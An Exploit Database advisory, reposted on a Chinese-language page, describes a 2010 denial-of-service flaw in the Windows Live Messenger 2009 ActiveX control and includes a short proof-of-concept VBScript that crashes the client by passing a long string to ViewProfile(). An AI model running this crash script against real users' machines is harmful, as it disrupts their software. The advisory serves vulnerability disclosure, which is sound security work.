Microsoft Windows Live Messenger 2009 – ActiveX Denial of Service

• Exploit Database
• 15 阅读

• 作者： HACKATTACK IT SECURITY GmbH
  日期： 2010-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11070/

• Product:
  Windows Live Messenger 2009 (Build 14.0.8089.726)
  
  ************************************************************************
  ********
  Vulnerability:
  ActiveX - Denial of Service
  
  ************************************************************************
  ********
  Discussion:
  Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
  Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
  *must be signed in Msn Messenger account for triggerin the vulnerability.
  
  ************************************************************************
  ********
  Vulnerable:
  Windows Live Messenger 2009 on Windows Vista
  Windows Live Messenger 2009 on Windows 7
  
  Not Vulnerable:
  Windows Live Messenger 2009 on Windows XP
  
  Credits:
  HACKATTACK IT SECURITY GmbH
  Penetration Testing in Deutschland - Österreich - Schweiz
  www.hackattack.com
  
  and
  
  Natal Networks Inc.
  Vulnerability Discovery, Penetration Testing, IT Security Consulting
  www.natalnetworks.com
  
  ************************************************************************
  ********
  
  Original Advisory
  www.hackattack.com
  www.natalnetworks.com
  
  ************************************************************************
  ********
  PoC .wsf script:
  'works on vista and windows7
  
  <package>
  
  <job id='DoneInVBS' debug='false' error='true'>
  
  <object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />
  
  <script language='vbscript'>
  
  arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
  
  target.ViewProfile arg1
  
  </script>
  
  </job>
  
  </package>
  
  About HACKATTACK and Natal Networks
  ================
  HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria
  More Information about HACKATTACK at
  http://www.hackattack.com
  
  Natal Networks was founded by Hellcode Research Team in 2009.
  Main mission of Natal Network is discover and research vulnerabilities.
  Providing penetration tests and security auditing services.
  More about; www.natalnetworks.com